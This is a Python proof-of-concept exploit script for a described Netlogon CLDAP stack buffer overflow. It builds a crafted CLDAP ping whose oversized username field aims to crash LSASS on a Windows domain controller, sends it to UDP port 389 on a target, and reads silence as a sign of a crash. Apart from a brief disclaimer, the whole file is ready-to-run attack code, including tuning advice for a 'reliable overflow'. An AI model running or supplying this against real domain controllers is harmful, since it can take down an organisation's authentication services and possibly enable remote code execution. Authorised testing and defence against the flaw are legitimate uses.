#!/usr/bin/env python3
"""
CVE-2026-41089 -  Netlogon CLDAP Stack Buffer Overflow
Author: HydraSoft
Date: May 2026

Description:
    Sends a crafted CLDAP ping request with oversized username field
    to trigger a stack buffer overflow in netlogon!NetpLogonPutUnicodeString.
    This can lead to LSASS crash (DoS) and potentially RCE on unpatched DCs.

    Use only on systems you own or have explicit authorization to test.
"""

import argparse
import socket
import struct
from colorama import init, Fore, Style

init(autoreset=True)

# Netlogon copies User into a ~528-byte stack buffer as UTF-16; 264+ chars overflow it.
DEFAULT_USERNAME_LENGTH = 300
DEFAULT_NTVER = 0x02000000  # legacy code path targeted by public PoCs
NETLOGON_BUFFER_BYTES = 528

def banner():
    print(f"""{Fore.RED}
╔══════════════════════════════════════════════════════════════╗
║              CVE-2026-41089 - Netlogon CLDAP Overflow       ║
║                    Stack Buffer Overflow PoC                 ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}""")

# --------------------- BER Encoding Functions ---------------------
def ber_length(length):
    if length < 0x80:
        return bytes([length])
    if length < 0x100:
        return bytes([0x81, length])
    if length < 0x10000:
        return bytes([0x82, (length >> 8) & 0xFF, length & 0xFF])
    return bytes([0x83, (length >> 16) & 0xFF, (length >> 8) & 0xFF, length & 0xFF])

def ber_int(value):
    if value == 0:
        return b"\x02\x01\x00"
    data = value.to_bytes((value.bit_length() + 7) // 8, "big")
    return b"\x02" + ber_length(len(data)) + data

def ber_string(tag, value):
    if isinstance(value, str):
        value = value.encode("utf-8")
    return bytes([tag]) + ber_length(len(value)) + value

def ber_sequence(tag, content):
    return bytes([tag]) + ber_length(len(content)) + content

def username_size_info(username):
    wire_bytes = len(username.encode("utf-8"))
    unicode_bytes = len(username.encode("utf-16-le"))
    return wire_bytes, unicode_bytes

# --------------------- CLDAP Ping Builder ---------------------
def build_cldap_ping(domain, username, ntver=DEFAULT_NTVER):
    ntver_bytes = struct.pack("<I", ntver)

    filter_content = (
        ber_sequence(0xA3, ber_string(0x04, "DnsDomain") + ber_string(0x04, domain))
        + ber_sequence(0xA3, ber_string(0x04, "User") + ber_string(0x04, username))
        + ber_sequence(0xA3, ber_string(0x04, "NtVer") + ber_string(0x04, ntver_bytes))
    )

    search_body = (
        ber_string(0x04, "")  # baseObject
        + ber_int(0)  # scope
        + ber_int(0)  # derefAliases
        + ber_int(0)  # sizeLimit
        + ber_int(0)  # timeLimit
        + bytes([0x01, 0x01, 0x00])  # typesOnly = FALSE
        + ber_sequence(0xA0, filter_content)  # AND filter
        + ber_sequence(0x30, ber_string(0x04, "Netlogon"))  # attributes
    )

    search_request = ber_sequence(0x63, search_body)  # SearchRequest
    return ber_sequence(0x30, ber_int(1) + search_request)

# --------------------- Main Exploit ---------------------
def main():
    parser = argparse.ArgumentParser(description="CVE-2026-41089 PoC - Netlogon CLDAP Overflow")
    parser.add_argument("target", help="Target Domain Controller IP")
    parser.add_argument("domain", help="DNS Domain name (e.g. corp.local)")
    parser.add_argument(
        "-l",
        "--length",
        type=int,
        default=DEFAULT_USERNAME_LENGTH,
        help=f"Username length in ASCII chars (default: {DEFAULT_USERNAME_LENGTH})",
    )
    parser.add_argument(
        "-n",
        "--ntver",
        type=lambda value: int(value, 0),
        default=DEFAULT_NTVER,
        help=f"NtVer value, decimal or hex (default: 0x{DEFAULT_NTVER:08X})",
    )
    parser.add_argument("-t", "--timeout", type=int, default=6, help="Socket timeout in seconds")
    args = parser.parse_args()

    if args.length < 1:
        parser.error("Username length must be at least 1")

    banner()
    username = "A" * args.length
    wire_bytes, unicode_bytes = username_size_info(username)

    print(f"{Fore.CYAN}[*] Target          : {args.target}")
    print(f"[*] Domain          : {args.domain}")
    print(f"[*] NtVer           : 0x{args.ntver:08X}")
    print(f"[*] Username length : {args.length} chars")
    print(f"[*] Wire encoding   : {wire_bytes} bytes (UTF-8 in CLDAP packet)")
    print(f"[*] Netlogon copy   : ~{unicode_bytes} bytes (UTF-16-LE estimate)")
    print(f"[*] Stack buffer    : {NETLOGON_BUFFER_BYTES} bytes in netlogon.dll")
    if unicode_bytes <= NETLOGON_BUFFER_BYTES:
        print(
            f"{Fore.YELLOW}[!] Warning: UTF-16 size may be below buffer limit; "
            f"use -l {NETLOGON_BUFFER_BYTES // 2 + 1} or higher for reliable overflow{Style.RESET_ALL}"
        )
    print()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(args.timeout)

    try:
        packet = build_cldap_ping(args.domain, username, ntver=args.ntver)
        print(f"{Fore.YELLOW}[*] Sending CLDAP ping ({len(packet)} bytes)...{Style.RESET_ALL}")
        sock.sendto(packet, (args.target, 389))

        try:
            data, _ = sock.recvfrom(4096)
            print(f"{Fore.GREEN}[+] Received response ({len(data)} bytes){Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[!] Target responded; DC may be patched or length insufficient.{Style.RESET_ALL}")
        except socket.timeout:
            print(f"{Fore.GREEN}[+] No response - LSASS may have crashed{Style.RESET_ALL}")
            print(f"{Fore.RED}[!!] Domain Controller may reboot in ~30-60 seconds{Style.RESET_ALL}")

    except OSError as exc:
        print(f"{Fore.RED}[-] Network error: {exc}{Style.RESET_ALL}")
    finally:
        sock.close()

    print(f"\n{Fore.YELLOW}[!] CVE-2026-41089 PoC completed.{Style.RESET_ALL}")

if __name__ == "__main__":
    main()